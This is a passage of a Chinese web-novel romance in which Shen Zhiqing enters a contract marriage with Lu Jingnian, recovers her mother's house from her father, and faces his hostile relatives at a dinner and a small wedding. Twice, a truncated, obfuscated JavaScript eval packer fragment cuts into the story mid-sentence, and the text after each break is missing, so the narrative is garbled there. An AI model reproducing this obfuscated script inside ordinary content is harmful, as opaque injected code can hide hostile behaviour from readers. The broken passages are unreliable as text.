杨辰没多问,应下后出门去打电话通知。 沈栀清比约定时间晚到了一个小时,陆璟年应该是有提前和门卫打好招呼,省去了那些登记流程,节省了一点时间。门卫室的工作人员一看到她就微笑着向她问候:“沈小姐,早上好。” 她把车停好,正准备下车就看到停在对面那辆眼熟的黑色宾利,车牌号是一串8,沈栀清昨晚见过,知道是陆璟年的车。 她从车上下来,正走到门口就碰上正从里面出来的年轻男人,沈栀清记性很好,想起来这人是那晚宴会时在陆家后花园遇到的人,好像叫杨辰,是陆璟年身边的。 “沈小姐,老板在里面等您。”杨辰说完侧了侧身,给沈栀清让了条路出来。 “谢谢。” 沈栀清进去的时候,看到陆璟年坐在一楼客厅的沙发上,手上举着一本类似文件的东西,正低头认真看,瞧他这么专注,沈栀清没出声打扰,站在门口的位置静静等了一会儿,发现陆璟年今天戴了副无边框眼镜,再加上他身上的穿着,墨蓝色衬衫领口松开了几颗扣子,露出一点皮肤,颇有几分禁欲气质。 她正猜,难道这人近视?就听到坐在那里的男人突然开口。 “怎么不过来?” 沈栀清有种偷看被抓包的羞耻感,脸颊烫了烫,但很快调整好,朝陆璟年的方向走过去。 “坐。” 沈栀清也很干脆,坐下后从包里拿出昨晚就已经打印好的婚前条约,放到面前的桌上然后推到陆璟年那边,“这是我昨晚整理好的。” 陆璟年把手上的文件夹放到桌面,拿起沈栀清递过来的薄薄两页纸,唇角淡淡勾起一抹笑,有些出乎意料。 沈栀清被他这种不冷不热的态度弄的有些紧张,再加上陆璟年这种不显山露水的性格,这会儿她更猜不透他心里想的是什么,她当然希望两人可以达成协议,成为合作伙伴,正常的人都不会选择陆奕川那种货色,没准她还可以从这场婚姻里利落抽身也未可知。所以她在最后一条特意加了一条:若某一方心有所系,等到合适的时间,婚约作废,各自恢复自由。 时间一分一秒的过,沈栀清等的有点忐忑,终于耐不住问:“是有什么不妥吗?” 陆璟年视线从纸上移到沈栀清那张素净的脸上,沉声开口:“有几条需要删掉。” 不等沈栀清把疑问说出口,陆璟年不知道从哪儿变出来一只钢笔,划掉了几条,“剩下的都可以。” 沈栀清从陆璟年手中接过合约,认真看了看那几条被划掉的,其中一条是她特意写上有关婚后同居方面,她心里其实有点犯难,但很快又开解自己,毕竟是牵扯许多的联姻,未免落人口舌,尤其是眼下这种特殊情况下。 “有问题?”陆璟年看她好久不说话,问道。 沈栀清摇摇头,“没,我能理解。” “不过,我还不知道小叔您需要我遵守什么约定。”沈栀清其实也不知道自己为什么会脱口而出这个称呼,喊陆总太陌生,一时间又找不到别的称呼,只好先随着陆奕川去叫,毕竟他们两个算是同辈人。 陆璟年抬头看她,漆黑的瞳孔写满了认真,“我只需要你从始至终都站在我这边。” “做得到吗?” 沈栀清只愣了一秒,丝毫没犹豫,“当然。” 陆璟年似乎也很满意她的答案,原本冰冷的声调都染了几分暖,“明早八点,我会让司机去接你。” “不用麻烦,我自己开车就行。” 陆璟年浅笑了声:“可以。” 第二天一早,沈栀清拿上户口本从碧玺城开车去民政局,原本以为自己够早了,没想到陆璟年那辆拉风的宾利已经停好,只是不知道早到了多久。 两人领证的速度也很快,走个过程而已,但沈栀清没想到陆璟年竟然会提前准备好戒指。从民政局出来,沈栀清手上拿着属于她的那本结婚证,红色的小本拿在手上分量很轻,可压在心上却又像是一块无形的巨石。自己也不说不清道不明的一种情绪。 小时候也曾经幻想过长大后结婚的梦幻场景,只是事与愿违,她嫁的的人她不爱,娶她的人也不爱她。 所以当陆璟年把那枚镶嵌着很大一颗粉钻的戒指递到她面前的时候,沈栀清完全处于头脑发懵的状态。 “给我的?” “戒指是用来表明身份的象征。” 陆璟年的回答堪称划清界限的范本,让沈栀清刚生出的那么一点感动顿时烟消云散。 “还是小叔想的周到。” 沈栀清把钻戒攥进掌心,并没有立马戴上,“要是没什么事,我就先走了。” “等等。”陆璟年喊住她。 “小叔还有事?” “称呼改了。” 可他只说把称呼改了又不说让她喊什么,于是很长一段时间沈栀清都叫他陆先生。 沈栀清看着陆璟年的车从自己面前离开,然后从包里拿出手机给沈淮安拨了电话过去。 沈淮安还在因为昨晚沈栀清私自请朋友到家胡乱折腾一通的事情生气,但因着和陆家的婚约也不敢把话说太重,只能在电话里发发牢骚。 “你说你,昨晚跟谁也没打招呼就招呼一大帮朋友来家里举办什么聚会,搞得家里是乱七八糟,更过分的是你竟然拿我珍藏的好酒去招待你那些朋友?” “另外,我放在酒柜最上方的那两瓶酒怎么不见了?也被你们喝了?!” 沈栀清从电话接通开始就没插上一句话,这会儿终于轮到她说话,她也只是声音非常平静地说:“我拿走了。” “拿走了?你拿它做什么?” “我看您酒柜里新添了两瓶日子很特别的好酒,太挤了,这两瓶我拿回来也好给它们腾位置。” 沈淮安一时语塞,知道沈栀清这话的弦外之音。 前段时间,韩静初不知道从哪里找人买来两瓶他们结婚日子的葡萄酒,酒窖向来有专人管理,沈淮安平日里不太管这些琐事,也是最近才看到酒柜上层新添的两瓶酒,就那么和之前的两瓶并肩放着,颇有几分说不清道不明的意味。他是知道,但也懒得管,孟姝已经去世好多年,韩静初有时候总自己一个人较劲,管来管去到最后还是要自己哄着,他只不过想着多一事不如少一事,反正怎么也是她一个人瞎折腾。 电话那头终于安静,沈栀清也不想多说,只说:“我大约二十分钟左右到别墅,有事跟您说。” “和陆家有关。” 沈栀清太清楚眼下最能镇住沈淮安的是什么,凡是有关陆家的事,沈淮安没有不放在心上的。 “又想闹?”想到昨晚父女俩之间那通不怎么愉快的通话,沈淮安心里还是担心。 “到时候您就知道了。”沈栀清说完就挂了电话。 二十分钟后,沈栀清到达沈家别墅。 进门后,先看到正站在桌前插花的韩静初,她面色平淡,同韩静初打了声招呼算是礼貌,韩静初看见她则是另一副神情,如果说有人能把两种情绪都显现在脸上,你一定会觉得很怪,可此刻的韩静初偏偏就是这样,脸上交叠着两种情绪,冷漠和温柔,只是前者更真实,后者是在看到沈淮安从楼上下来后莫名跳出来的。 沈栀清懒的管韩静初的心思,她径直朝找沈淮安的方向走,父女俩走进书房,门没关,沈栀清半点没犹豫从包里找出那本结婚证啪地一声,放到他面前。 “答应您的事,我做到了,现在您是不是该履行一下对我的承诺?” 经过昨晚那场争吵,沈淮安这会儿对沈栀清的话半信半疑,直到他打开那本结婚证看到上面的合照,惊的两只眼睛都像是要掉出来。 “陆璟年?” “反正您要的不过是陆家的人脉,是不是陆奕川重要吗?更何况,如今陆家的掌权人是结婚证的这位,总比那位烂泥扶不上墙的公子哥儿强。”沈栀清每一句话都说在点子上,生怕沈淮安会言而无信,她知道,只有最直接的利益才能打动她这位父亲。 空气安静的这几秒,沈淮安是在心里盘算。 沈家早些年是靠钢材起家,这几年城市看重环保,很多钢厂因为支撑不下去而倒闭,早些年积攒了点稳固的人脉,如今公司才能安稳活着,但安稳终究有被打破的那天,沈淮安虽不是一个好父亲好丈夫,但却是一个好的领导,未雨绸缪,所以有些事必须早做打算。 他知道陆璟年最近刚好和市政府有个合作项目,需要用材料的地方有很多,如果这个项目做好,以后沈家绝不愁后续合作方。 “怎么不见他跟你一起过来?” 沈栀清没想到父亲会这么问,昨天两人见面时,陆璟年说的很清楚,结婚是合作,但也只能他们彼此清楚这其中的事情,今早两人从民政局领证后,就各自去忙自己的事,她来这找沈淮安兑现承诺,至于陆璟年他也没告诉自己他的行程。 “他忙,抽不开身。”沈栀清只能胡乱扯一个理由。 沈淮安点了点头,好像很理解似的,但盯着手上的那本结婚证,仍有点不太相信,“你们真领证了?”翻来覆去的看。 沈栀清点点头,“要不您给他打个电话问问?” 她是随口一说,沈淮安却真的给陆璟年拨了电话过去,打的是工作电话,那头一接通,沈栀清听出那道声音不是陆璟年。 “陆总刚刚开完会,您稍等。”杨辰说完,那头安静了半分钟,之后陆璟年接过电话,声线虽冷,但语气却诚恳,“伯父,公司最近比较忙,今天这种日子没能和清清一起回家,是我的过错,我已经让人订好饭店,明晚再当面向您赔罪。” 沈淮安电话开了免提,一字一句沈栀清听的十分清楚,起初她还担心陆璟年这样身居高位的人,应该也不屑对沈淮安演戏,没想到他不但会还演的很到位。 沈淮安往沈栀清这边瞧了一眼,脸上终于有了笑模样。 “好好好,以后咱们就是一家人了,别说什么赔罪不赔罪的。” 沈栀清朝空气瞪了瞪,心说他变脸倒是挺快的。 没聊太久,陆璟年那边或许是真的忙,有人来提醒他开会,沈淮安也是有眼力的,客气了几句后挂了电话。 “你倒是真没让我失望。”沈淮安说这句话的时候,脸上笑出一堆褶子,“不愧是我的女儿。” 沈栀清懒的应付他这句话,心里想着更重要的事情。“既然没让您失望,该兑现承诺了吧?” “不过,你们之间怎么会有联系?”沈淮安想不通这点,明明那晚酒会两个人是第一次见面,除非...... “那晚酒会之后,我对他一见钟情,只是后来没想到,他对我也有心思。” 听到这句话,沈淮安也不能再说什么,反正木已成舟。 终于攀上陆璟年这层关系,沈淮安这会儿心情大好,当即打电话叫司机过来。电话挂断后问沈栀清,“需要的资料带没带全。” 沈栀清点点头,这趟她是有备而来。 沈淮安起身上楼去拿东西,沈栀清则坐在楼下等,没一会儿,韩静初也上楼,沈栀清淡淡扫她一眼,看她表情有些不自然,但没放心上。 时间一点一点过去,诺大的别墅安静的有些诡异,沈栀清等的有点烦躁,心里生出一股不详的预感,直到看见沈淮安拿着文件袋出现在二楼的楼梯上,心才放下一半,沈栀清赶忙起身朝他走过去,“怎么这么久?” “年纪大了,找东西都要想好久。”沈淮安说。 沈栀清察觉到他的不对劲,试探着问:“是不是出什么事了?” 沈淮安一副欲言又止的模样更加重了沈栀清的怀疑,他知道,今天如果不说出点什么,自己的这个女儿也一定会猜出点什么,眼下刚刚攀上陆家,正是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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沈淮安早已换上一副胜券在握的模样,话会说的如此有底气,不过是因为孟姝当时并未留下什么字面的东西,摆明了,此刻他才是最有话语权的那位,可沈栀清除了手上这本结婚证,没有任何底牌,无奈只好先应下,眼下更重要的事就是房产过户,好不容易用自己婚姻换来母亲留给她的遗物,当然是处理的越快越好,哪怕暂时只有一样,“今天先处理房子的事。” 当初会答应沈淮安和陆家联姻,就是为了尽快将妈妈生前留下的一套房产和一间画廊改到她名下。妈妈在沈栀清很小的时候去世,没过几年,沈淮安再娶,原本还承载一点母亲气息的家突然换了女主人,房子里好多东西也都被收走放到阁楼吃灰,家具换新,装修重改,就连父母卧室那间房间都重新修葺了一番。 原本是自己从小住到大的房子,转眼间成了外人,这滋味并不好受,尤其是后来韩静初生下孩子,沈栀清在家里更像是一个透明人的存在,沈淮安除了按时打钱给她旁的都不管,有一次,沈栀清因暴雨被困在学校,还是班主任开车把她送回的家,所以高中以后,她就从原来的家里搬出来,住进了现在这套房子里,顺便带走了母亲的所有东西。 碧玺城的小院是母亲生前留给她的,比起沈家的私人别墅,房子不算很大,却保留了有关母亲一切美好的回忆。小时候,妈妈经常会带她来这间房子玩,那时候沈淮安公司业务很忙,时不时需要出差,诺大的房子就剩妈妈和沈栀清,母女两个就会来这边住上几天,吃饭做饭,玩捉迷藏,一起看动画片,搭积木,对沈栀清来说,这里承载的温情不比沈家那栋别墅少。是会让沈栀清觉得装满安全感的庇护所。 所以,她才会格外珍重。 出门前,一直沉默的韩静初突然出声,看似平静的一句话,其实带着暗讽,“清清努力这么久,也算是得偿所愿了。”韩静初心有不平,沈家的一切本就应该只属于她们母女俩,孟姝的那套房产位置极佳,周边环境也不错,原本她是想留给自己女儿的,当初沈栀清主动搬过去时,解了她心头的疙瘩所以便也任她去,总想着房产在沈淮安名下,她不过暂住,反正他只要吹吹枕边风总有机会拿到手,却没想会出这个岔子。 沈栀清原本不想理她,但想到过往许多年她做的种种,还是没忍住,她收回原本已经搭在门把上的手,转头,眼神凌厉地看着她:“您早在多年前就得偿所愿了,还不知足吗?” “我拿回属于我的东西,你守好你的东西。” “做人不能太贪心,你说呢?” 韩静初脸色变得难开起来,一口气堵在胸口,看向沈淮安,可他竟没半分为自己说话的打算,只催促着:“好了,好了,都少说几句。” 韩静初恨恨瞪着他,气呼呼地转身上楼。 万幸,后续的事情还算顺利。沈栀清回到家的时候,已经精疲力尽,一天的事情完成了两件大事,这一天也算过的十分充实了。 沈栀清撑着从沙发上坐起来,从包里拿出那本写着自己名字的房产证,心里终于安定了一些,虽然住在这里已经很久,但总归是不踏实,前两年韩静初又吵又闹地想要把这间房子卖掉,好在沈淮安还有点良心没答应她,那之后,沈栀清脑袋里就一直绷着一根弦,这间房子承载着她和母亲温情的回忆,如今终于算是彻底保住。 沈志清从浴室出来时,放在床头柜上正充电的手机正响起铃声,她裹紧身上的浴袍,快步朝床头走,垂眸,看到屏幕上显示的是一串没有备注的号码,但数字又有些眼熟,于是接起,在听到电话那头传来的声音后,心里确认,原来是陆璟年。 “沈小姐。” “陆先生,是有什么重要的事吗?” “明晚的饭局,陆家的人也会去。” “我知道。” 那头静了两秒,“那就好。” “看来你已经做好准备了。”陆璟年打这通电话原本是想说如果她还没准备好,两人结婚的事晚一点再通知到陆家那边也不是什么难事。但他没想到,她竟然这么平静。 沈栀清应了声,“反正暴风雨都要来,或早或晚没区别。” 对沈栀清来说,陆家内部的事跟她关系不大,陆沉舟,季苏还有陆奕川这一家三口她避之不及,明晚过后,闹成什么地步还未可知,但对她来说结果如何都没什么,反正她也不在乎。 至于父亲沈淮安那边,他想要的不过是寻一个够硬的靠山,所以嫁给陆奕川还是陆璟年没什么差别,后者反而能给他更多,他清楚得很。 “你倒是想的很明白。”陆璟年手指捏了捏眉心,笑了声。 沈栀清听出他声音里的疲惫,也就这一秒的事,仿佛放松下来似的,和前两句过分严肃的语气格外不同。 “陆先生,合约精神我还是有的,您放心。” 5. 暗潮汹涌 沈栀清几乎熬了个通宵,这段时间事情一件接着一件,静下心来画稿的时间只有晚上,眼看着交稿的日子越来越近,她只能连续熬几天,这才终于按约定时间把画稿交上去。 白天的计划就是补觉,毕竟晚上那场饭局又是一场硬仗,谁成想,一大早就被电话吵醒。 沈栀清眼睛都没睁开,迷迷瞪瞪地伸手去够压在枕头底下的手机,看都没看直接点了接听。 “喂?” 没人说话,沈栀清费力地睁开沉重的眼皮,盯着手机屏幕看了半晌,因为通宵,让她整个人的动作和反应都有点迟钝,可电话的确是接通了的,唯一的就是那串没有备注的号码,好像有点眼熟。 于是她试探着问:“陆璟年?” 这是她第一次喊他名字,没什么多余的意味,只是为了确认对面的人是否是他,或许是才睡醒的缘故,她声线很轻,屋内又安静,听起来像是在施坦威弹奏出的小调,婉转动听的低唤。 心弦拨动间,陆璟年声音沉了沉,“嗯。” 陆璟年这头刚结束完一场会议,腕表上的时间此刻显示的是早晨八点,但他没说什么,只开门见山把事情说完。 “抱歉吵醒你,我只是来提醒你,今晚会有司机去接你。” “我自己——” “他们不是那么好糊弄的。” 沈栀清没说话,沉默的这几秒钟她实际上是在思考,陆沉舟难道真的猜不到吗?毕竟上次去陆家拜访的时候,兄弟两个看起来关系好像不是很亲近,可酒会上两人站在一起看起来又那么和谐,或许是因为婚约的事,沈栀清被弄懵了,于是,心里只以为陆璟年会选择她,不过是要逃脱哥哥嫂子乱点的鸳鸯谱,毕竟家族联姻,尤其是陆璟年这种身居高位的面临棘手的问题会更多,有时往往不能如自己所愿,而陆璟年或许也是实在没办法了。 陆璟年像是知道她在想什么于是耐心解释:“他或许可能会猜到,但我们不能真的完全摊牌。”不然这场婚事就变得完全没有任何意义,季苏那边又会想别的办法,无论手段光明与否,他们只会无所不用其极,费尽心思在他身边安排自己的人,而沈栀清必须要以稳固的身份来填补这个空缺。 “我明白。”沈栀清说。 “或许你还不太明白。” “什么意思?” 沈栀清刚打算问清楚,就听到那头有人在说话。 “陆总,该出发了。”是杨辰的声音。 沈栀清听到陆璟年淡淡地应了声,然后对电话这头的自己说:“地址发我,晚一点车上说。” 电话挂断后,沈栀清编辑了条短信发过去,正打算关上手机重新酝酿睡意,叮地一声,是陆璟年回复的信息。 “记得通过好友。” 沈栀清下意识打开微信,看到一条最新的好友申请,通过后,她发了一个问号的表情包,那头很快回复。 “是我。” 沈栀清不知道为什么,突然有那么一点想笑,因为陆璟年的惜字如金,好像但凡多说几个字就会要他命似的。 沈栀清没再回,把手机随意丢到旁边,蒙上被子开始睡觉。 一觉醒来,天色变暗,沈栀清养足精神,先去厨房煮了袋泡面吃,把胃填满,才起身去浴室冲澡,她快速收拾整理好,从衣帽间选了身既不过分隆重也不随意的衣服,山茶花色的修身羊毛打底,小v领,袖口处点缀了几颗珍珠,又拿了条微喇牛仔裤,对她来说美丽动人不重要,重要的是保暖,如果不是沈淮安发来消息提醒她别穿的太随意,她都想裹着厚厚的长羽绒服去赴宴,反正今晚这场饭局注定暗潮汹涌,可她这会儿也不打算换了,索性从衣橱里选了件短款米色皮草。(人造皮草,保护自然人人有责,敬畏生灵,敬畏大自然。) 她站在浴室镜前正纠结口红色号,电话在这时响起,来电显示上出现的是陆璟年这三个字。她今天睡醒后已经把那串号码存进通讯录。 “我到了。” “好,我马上下来。” 沈栀清最终选择了那款豆沙色口红,握在手里,然后快速出门,从院里走出去一眼看到陆璟年那辆惹眼的车,见她出来,司机从驾驶位下车,走过来迎她。 “沈小姐。” 沈栀清微微颔首,几步走到车前,司机上前帮忙打开车门的一瞬间,她一眼看到坐在里面的陆璟年,他整个人像是与黑夜融在一起,唯有那双眼睛泛着一点曜石般的光,他此时也在朝她这边看。 “上车。”他偏冷的声线在车内响起,恰好一阵冷风吹来,沈栀清冷不丁打了个寒颤。 车内暖气很足,鼻腔内涌进淡淡的沉香味,让人心也跟着平静下来。 最开始两人各自都没有说话,陆璟年看上去好像很累,车子启动后,整个人都靠在座椅上闭目养神。气氛微妙,沈栀清却觉得如果就这么一路过去反倒不错,这样她就不用费劲脑汁的去应付陆璟年,这种感觉就好像是上学时,老师临时布置的小考,如果老师睡着了,小考也就不用考了。 她承认,她是在做美梦,因为在车子经过第二道红绿灯的路口时,陆璟年开口了。 “睡得还好吗?” 沈栀清点头,“还好。” “今晚可能会委屈你。”陆璟年突然这么说,让沈栀清一时间不知道怎么接话。 “我不太明白。” 她话音才落,鼻尖忽然闻到一股清冷的乌木香,再抬眼,陆璟年不知道何时已经向她靠近,她背脊僵硬,不敢再动,这样近的距离,下一秒鼻尖就要触到一起,连呼吸都放停。 沈栀清不知道陆璟年突然的举动是为什么,只知道如果他再不离开,自己马上就要晕过去了。 耳边响起一声沉闷地笑,她听见陆璟年的声音在耳边沉沉响起,犹如沙砾,平白带着点磁性的蛊惑,“是特意练了憋气?” “你这样,怎么骗得过那对老狐狸?”陆璟年重新坐回去,眼睛依然看着她,“现在明白了吗?” 沈栀清终于缓过来了,大口大口喘着气,慢慢平复后,才问:“你是怎么跟他们说的?” “一见钟情。”陆璟年头偏到车窗那一侧,看着窗外如剪影一般呼啸而过的风景,声音平静地说:“我和你都是。” 沈栀清这才明白,原来今早那通电话里,陆璟年的话是这个意思,只是有些意外,两人的敷衍都相同,“所以我们要表现的如胶似漆,恩恩爱爱?” 沈栀清原本想说,她绝对没问题,毕竟她有合约精神,可话还没说出来就被陆璟年一句话噎了回去。 “那倒不用。” “只要在他们面前,你不像刚才那样抗拒我的靠近。”陆璟年转头看她,眼神似有似无的带着些上位者的不容置疑,“我们的事情就不会被发现。” 沈栀清听出了这句话的另外一层意思,心里平白涌起一股胜负欲,她没给回应,只是学着陆璟年刚才的样子,突然向他靠近,然后在他眼底一闪而过的错愕下,双手慢慢捧起他的脸颊,在嘴唇快要触碰之前,停住,饶有趣味的观察他心跳加速地表情,达到目的后打算重新坐回自己的位置,刚要抽身,便觉腰间一紧,宽大温软的手掌不知何时已经覆在她因为动作太大而裸露在外的腰肢上,沈栀清呼吸一紧,一抬头便对上那双居高临下的眼睛,想逃已经来不及,于是只能在他的注视下,硬着头皮继续。 “只要在他们面前,陆先生不像刚才那样僵硬。”沈栀清故意学他的动作和语气,“我们的事情一定不会被发现。” 陆璟年并没有为难她,收回手,任她逃开。 沈栀清心跳在打鼓,多少有点后怕,但突然上头的胜负欲让她暂时屏蔽掉了压在心里那些有关陆璟年的传闻,这会儿也有点后悔,可后悔也晚了,做都做了。 陆璟年没想到她会有这种举动,第一次有女人敢靠他这么近,鼻尖萦绕着还未消散且独属于她的花香气,“倒是学的惟妙惟肖。”他忍不住评价。 “老师教的好。” 沈栀清瞧出他这会儿好像心情不错,便也壮着胆子回应一句。 陆璟年没再多说什么,偏头看向车窗外。 车内光线很暗,沈栀清躲在阴影里偷偷看他,盯的很认真,即便是在这样的灯光环境下,陆璟年的侧颜依旧出色到无可挑剔,高挺的鼻梁,还有堪称完美的下颚线,像是艺术家精心刻制的雕塑,完美无缺,在她完全沉浸在这场美色之前,脑海里突然一闪而过那晚在后花园的一幕,沈栀清收回视线,偏头看向窗外,打开车窗的一点缝隙,冷风灌了进来,直直打在她的额头,让她清醒不少。 饭店定在城南,私房菜比较出名,陆璟年和开这家饭店的老板关系不错,所以算是这儿的熟客,两人一进来,原本站在前台正和服务生交待事情的经理看到陆璟年,立马笑着迎上来。 “陆先生。”他说完看向站在陆璟年旁边的沈栀清,正犹豫应该喊什么称呼,就听到耳边传来陆璟年的声音。 “我太太,沈栀清。” 简短的一句话,让在场的两个人都很吃惊,沈栀清感觉自己的心跳好像停了一秒,但很快恢复,她知道今晚是场大戏,却没想到从走进这家饭店开始就要进入状态。 马经理仅愣了两秒,便恢复自己专业的一面。 他在这家饭店工作将近十年,老板又是富二代,平日里来这边吃饭的都是一些有头有脸的人物,这种情况按理来说应该已经见怪不怪,来这儿谈生意或者聚餐放松的老板或者公子哥儿们,没有谁身边是没姑娘的,只陆璟年在这些人里最特别,从他在这里工作开始,凡是在这里见到这位陆先生,他总是形单影只的一个人,没有女伴,更别提女朋友,可现在突然就冒出一位太太,他实在没法不惊讶。 “陆太太,您好,我是这家饭店的经理,您日后如果有什么需要可以直接联系我。” 话说得滴水不漏,沈栀清也为之愕然,她点点头,接过他手上的名片,“谢谢。” 经理一路将人送到包间,然后才离开。没多久,人陆陆陆续续到齐。 沈栀清其实很紧张,毕竟今晚这场饭局注定不安生,她倒不是害怕,只是厌烦麻烦。 毕竟麻烦已经够多了。 饭菜上齐,包间门被关上,陆沉舟和季苏从踏进这间房开始,脸色就不好,灰蒙蒙的气压像是暴雪夜,让人感到浑身上下都不舒服,如果不是要配合着陆璟年,沈栀清多一秒都不想待在这儿。 “璟年,既然今天在坐的都是自家人了,那我就不得不说一句,你这件事是不是做的太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“你身为长辈怎么能夺侄子所爱?和陆家交好的人家里,也有许多各方面都很优秀的姑娘,和你相配绰绰有余,前段时间,你大嫂给你介绍的姑娘,你拒绝的干脆不说,最后竟然不顾两家之间的交情要——” “大哥。”陆璟年说完看向季苏,:“大嫂难道真的不清楚我为什么不顾两家交情?” 季苏怎么会不清楚?为这事,家里人还骂了她一通,可即便她心知肚明,眼下也不能就这么承认,只强撑着说:“璟年,我听不懂你说什么。” 陆璟年冷冷笑出声,包间很大,隔音不错,气氛低迷间,这笑声骤然响起令人毛骨悚然,就连坐在旁边的沈栀清都冷不防地打了个寒颤。 “既然如此,我帮您回忆回忆。”他原本也没想留什么情面,今晚这局他是故意请来陆沉舟和季苏,季苏有句话没说错,关起门来都是一家人,现在发作说开,总好过之后在暗处揪着不放强。 今晚过后,他总归不能让这场火再蔓延到日后各种各样的麻烦上,索性,今晚烧个痛快,省的耗费多余心神。 “不如就从下药开始说?” 陆沉舟和季苏都没想到陆璟年竟然就这么直接说了出来,夫妇俩都愣在那儿,半天没出声,这么多年以他们对陆璟年的了解,事情没有证据他绝不会放在明面上说,一旦这件事传出去,只会让他们的处境更艰难,不然他们为儿子操办婚事时也绝不会委身于沈家这种小门户。如今这门亲事让陆璟年抢了倒也不一定是什么坏事,沈家终归比那些人家好拿捏些。 气氛一时间降至冰点,最终还是坐在旁边从头到尾默不作声的沈淮安出来打圆场,他如今已经是另一种身份,自然不需要在陆沉舟面前低声下气,原本上次在陆家饭桌上被陆奕川那个小兔崽子无视就够让他生气的了,今晚好不容易能和自己的女婿坐在一起吃顿饭,拉近点距离,又被这对夫妻搅得人心神不宁。 “好了好了,以后都是一家人了,别搞的这么难看嘛。” “感情有时候就是说不清道不明的,既然木已成舟不如就顺其自然的接受,何苦折磨自己折磨他人呢?” 陆沉舟冷冷哼了声,“你倒是想得开。” 沈淮安心想,他有什么想不开的,砖头还是玉石他还是分得清的。 “宁拆一座庙不毁一桩婚不是?” 让沈栀清觉得最不可思议的是,这顿饭竟然就真的这么吃完了,原本以为季苏和陆沉舟会因此提前离席,毕竟刚才的对话大有撕破脸的情势,导致后半场的温情都显得阴森,沈栀清做梦都没想到刚才还恶狠狠瞪着她的季苏这会儿正对她嘘寒问暖,又谈到婚礼的事,诸如此类的关心让沈栀清感到十分诡异。 “清清啊,怎么说以后都是一家人了,要是璟年日后对你不好,你过来找我,我帮你教训他。” “婚纱店你和璟年选好了吗?” “婚礼的场地呢?” “虽说老爷子还在医院躺着,但精神要比前阵子好多了,婚礼该办还是要办的,冲冲喜气嘛,你说呢?” 问题一个接一个,沈栀清都不知道应该先回答哪个。 “婚礼的事不急。”陆璟年说完,偏头看向坐在旁边已经被问懵的沈栀清,用指腹在她嘴角轻轻擦拭掉那一点料渣,“还想吃什么?”眼神温柔犹如浸了蜜。 沈栀清呆呆地看着他,摇摇头,心里想说:你们陆家果然都是影帝级别。 6. 婚礼 那天过后,季苏和陆沉舟回家后就开始张罗举办婚礼的事,陆家毕竟是有头有脸的人家,沈淮安自然也想让其他人知道自己的女儿嫁给了谁,风光风光,便也做了说客,一天里打三个电话已经算少,后来干脆让韩静初找进家里。 他们知道陆璟年说不动便只好来烦她,陆璟年最近不知道在忙什么,那场饭局之后就跟人间蒸发了似的一点消息都没有,虽说她很满意这种互不干涉的婚后生活,但这种麻烦事都堆到家里让她来处理算怎么回事? 无奈之下,沈栀清只好拨通陆璟年的电话,没想到的是那边接的很快,好像专门在等她。 “在忙吗?”沈栀清语气并不好,被这些事烦了一整天心情好才怪。 “不忙。” 他不说还好,,一说沈栀清就气不打一出来,不忙?不忙让她自己面对这些事? “想说什么?”陆璟年问。 “婚礼。” “嗯,有什么想法?” 这语气就像是故意在等她来问。 “我不喜欢人多。”她就这一个要求,反正也不是正儿八经的婚礼,不需要那么多人到场见证。 “好。”陆璟年答应的很干脆。 电话挂断后,沈栀清忍不住琢磨,怎么总觉得哪儿不对呢? 沈栀清不知道陆璟年是怎么说服陆沉舟和季苏的,前两天打电话商量婚礼事宜的时候名单打了好几页,总归那意思,人越多越好,也热闹热闹,但后来却是照着沈栀清意思办。 两周后,还是郊区那栋庄园,举办了一场小型婚礼。 来的人大多是两方亲友,人不多,都是同沈陆两家交情很深的。 一整天下来,沈栀清脸都要笑僵了,但看着站在不远处举着酒杯同样在应酬的陆璟年,心里好受了那么一点,毕竟不是独角戏,有个人陪她一起感觉会好受点。 知道闺蜜结婚,冯素月特意推了自己的约会乐呵呵地跑过来当伴娘,沈栀清说她这人没心,别人不知情正常,可她可是最了解这件事来龙去脉的,难道没看出来这场婚礼原本不在她的人生计划内吗?就连新郎都不是她的爱人,单单只是她的合作方。 冯素月对此却有另一种想法。 “凡事咱都得乐观点,今天站在那儿的要是陆奕川那滩烂泥,那才真应该哭,陆璟年虽然年纪大点,但最起码有钱有颜有身份,最重要的是他很尊重你的想法,又没有什么乱七八糟的暧昧关系,比之前那位强的可不是一星半点。”冯素月笑着宽慰她,“而且,你不是总说出生在这种家庭,婚姻本就不是自己说了算的。” “而且,你那把利益看得比什么都重要的便宜爹是下定决心利用自己女儿换点什么才如愿,可惜我不是个男的,要不然指定娶你,把孟姨留给你的遗物全都要回来,圆你心愿。” 沈栀清当然清楚这些,否则今天也不会出现在这里。 “是我拧巴了。”人不能既要又要,不是吗? 夜深,参加婚礼的人陆陆续续离开,沈栀清原本站在门口和陆璟年一起送客,走到门口,寒风呼啸,沈栀清被风打了个正着,瑟瑟缩缩地打了个喷嚏,陆璟年把西服外套脱下来披在她肩上,抬手握住她纤细手腕,“进去吧,外面冷。”语气和眼神温柔的能掐出水儿似的,就连原本打算离开的客人都忍不住挺下脚步多看两人一眼。 沈栀清分不清陆璟年这话到底真情还是假意,是真的好心关心还是故意演给别人看?但基于这两次的经验,便配合他。 她笑着,用可以将人溺死的温柔眼神回看他,走上前,抬手替他理了理领带,掌心覆在他胸前轻点了点,柔声细语着:“那你早点回来。”看起来满心满眼都是陆璟年。 外人看来,两人就像是对陷入爱情中难分难舍的小情侣。 “乖乖等我。” 待沈栀清离开,旁边不知道是哪个公司的老总,看到这儿忍不住打趣陆璟年:“看来平日里杀伐果断的陆先生也有为佳人动心的一面。” 陆璟年虽然令人望而生畏,可在生意场上却是个值得人敬佩和信任的合作方,而他们这些人自然更看重利益而不是什么虚无缥缈的爱情,原以为陆璟年也如此,可刚刚那一幕倒让他有些怀疑了。 男人之前也有过将自己女儿嫁过来的打算,眼下只剩羡慕,怪自己下手太晚了。 陆璟年一笑了之,没做回应。这反应,看起来更像是尝到甜头后的不可多言。 